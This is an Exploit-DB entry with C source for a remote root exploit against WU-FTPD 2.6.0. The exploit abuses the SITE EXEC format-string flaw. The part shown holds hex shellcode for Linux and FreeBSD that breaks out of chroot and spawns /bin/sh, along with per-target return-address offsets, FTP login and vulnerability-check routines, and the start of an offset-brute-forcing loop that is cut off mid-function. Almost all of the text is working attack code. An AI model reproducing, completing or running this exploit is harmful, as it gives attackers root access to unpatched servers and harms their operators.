Exploit-DB #201
Description: WU-FTPD 2.6.0 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2000-11-21
Author: venglin

Exploit:
/*
 * (c) 2000 venglin / b0f
 * http://b0f.freebsd.lublin.pl
 *
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
 *
 * Idea and preliminary version of exploit by tf8
 *
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
 * Dedicated to ksm.
 *
 * **PRIVATE**DO*NOT*DISTRIBUTE**
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>


#define repln	if (getreply(0) < 0) return -1
#define replv	if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
	"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
	"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
	"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
	"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
	"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
	"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
	"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
	"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
	"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
	"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
	"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
	"\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
	"\x2e\x63\x6f\x6d";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
	"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
	"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
	"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
	"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
	"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
	"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
	"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
	"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
	"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
	"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
	"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
	"\x63\x6f\x6d";

struct platforms
{
	char *os;
	char *version;
	char *code;
	int align;
	int eipoff;
	long ret;
	long retloc;
	int sleep;
};

struct platforms targ[] =
{
	{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
	{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
	{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
	{ NULL, NULL, NULL, 0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %s\n",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
	int sockfd;
	struct sockaddr_in cli;

	bzero(&cli, sizeof(cli));
	cli.sin_family = AF_INET;
	cli.sin_addr.s_addr=getip(host);
	cli.sin_port = htons(port);

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
	{
                perror("connect");
		close(sockfd);
		return -1;
	}

	cin = fdopen(sockfd, "r");
	cout = fdopen(sockfd, "w");

	if (!cin || !cout)
	{
		close(sockfd);
		return -1;
	}

	return sockfd;
}

int command(const char *fmt, ...)
{
	char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

	va_list args;

	if (!cout)
		return -1;

	bzero(buf1, BUFSIZ);
	bzero(buf2, BUFSIZ*2);

	va_start(args, fmt);
	vsnprintf(buf1, BUFSIZ, fmt, args);
	va_end(args);

	for (p=buf1,q=buf2;*p;p++,q++)
	{
		if (*p == '\xff')
		{
			*q++ = '\xff';
			*q = '\xff';
		}
		else
			*q = *p;
	}

	fprintf(cout, "%s", buf2);

#ifdef DEBUG
	fprintf(stderr, "--> ");
	fprintf(stderr, "%s", buf2);
	fputc('\n', stderr);
#endif

	fputs("\r\n", cout);
	(void)fflush(cout);
	return 0;
}

int getreply(v)
int v;
{
	if (!(fgets(recvbuf, BUFSIZ, cin)))
		return -1;

	if (v)
		fprintf(stderr, "<-- %s", recvbuf);

	return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
	do
		repl;
	while (strncmp(recvbuf, "220 ", 4));

	if ((command("USER %s", login)) < 0)
		return -1;

	repl;

	if (strncmp(recvbuf, "331", 3))
	{
		puts(recvbuf);
		return -1;
	}

	if ((command("PASS %s", passwd) < 0))
		return -1;

	do
		repl;
	while (strncmp(recvbuf, "230 ", 4));

	return 0;
}

int checkvuln(void)
{
	command("SITE EXEC %%p");
	repl;

	if(strncmp(recvbuf, "200-", 4))
		return -1;

	if(strncmp(recvbuf+4, "0x", 2))
		return -1;

	repl;

	return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
	int i, j, off;
	char *p1;
	char eip1[10], eip2[10];

	for (i=eipoff;;i+=8)
	{
		fprintf(stderr, "at offset %d\n", i);
		strcpy(sendbuf, "SITE EXEC ");